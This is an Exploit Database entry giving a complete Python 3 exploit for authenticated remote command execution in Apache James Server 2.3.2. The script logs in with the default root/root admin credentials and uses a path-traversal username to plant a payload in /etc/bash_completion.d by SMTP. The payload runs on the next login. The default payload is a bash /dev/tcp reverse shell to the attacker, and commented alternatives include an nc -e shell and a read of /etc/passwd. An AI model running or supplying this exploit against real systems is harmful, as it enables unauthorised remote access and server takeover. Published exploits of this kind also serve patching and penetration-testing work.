Apache James Server 2.3.2 – Remote Command Execution (RCE) (Authenticated) (2)

Exploit Database
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作者： shinris3n

日期： 2021-09-28
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/50347/

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# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)

# Date: 27/09/2021

# Exploit Author: shinris3n

# Vendor Homepage: http://james.apache.org/server/

# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip

# Version: Apache James Server 2.3.2

# Tested on: Ubuntu

# Info: This exploit works on default installation of Apache James Server 2.3.2

# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

'''

This Python 3 implementation is based on the original (Python 2) exploit code developed by

Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec.The following modifications were made:

1 - Made required changes to print and socket commands for Python 3 compatibility.

1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.

2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.

3 - Added a payload that can be used for testing remote command execution and connectivity.

4 - Added payload and listener information output based on payload selection and user input.

5 - Added execution output clarifications and additional informational comments throughout the code.

@shinris3n

https://twitter.com/shinris3n

https://shinris3n.github.io/

'''

#!/usr/bin/python3

import socket

import sys

import time

# credentials to James Remote Administration Tool (Default - root/root)

user = 'root'

pwd = 'root'

if len(sys.argv) != 4:

sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])

sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])

sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")

sys.exit(1)

remote_ip = sys.argv[1]

local_ip = sys.argv[2]

port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)

payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login

#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell

#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity

#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)

if '/bin/bash' in payload:

print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)

def recv(s):

s.recv(1024)

time.sleep(0.2)

try:

print ("[+]Connecting to James Remote Administration Tool...")

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.

s.recv(1024)

s.send((user + "\n").encode('utf-8'))

s.recv(1024)

s.send((pwd + "\n").encode('utf-8'))

s.recv(1024)

print ("[+]Creating user...")

s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))

s.recv(1024)

s.send("quit\n".encode('utf-8'))

s.close()

print ("[+]Connecting to James SMTP server...")

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.

s.send("ehlo team@team.pl\r\n".encode('utf-8'))

recv(s)

print ("[+]Sending payload...")

s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))

recv(s)

# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found

s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))

recv(s)

s.send("data\r\n".encode('utf-8'))

recv(s)

s.send("From: team@team.pl\r\n".encode('utf-8'))

s.send("\r\n".encode('utf-8'))

s.send("'\n".encode('utf-8'))

s.send((payload + "\n").encode('utf-8'))

s.send("\r\n.\r\n".encode('utf-8'))

recv(s)

s.send("quit\r\n".encode('utf-8'))

recv(s)

s.close()

print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")

if '/bin/bash' in payload:

print ("[+]Don't forget to start a listener on port", port, "before logging in!")

except:

print ("Connection failed.")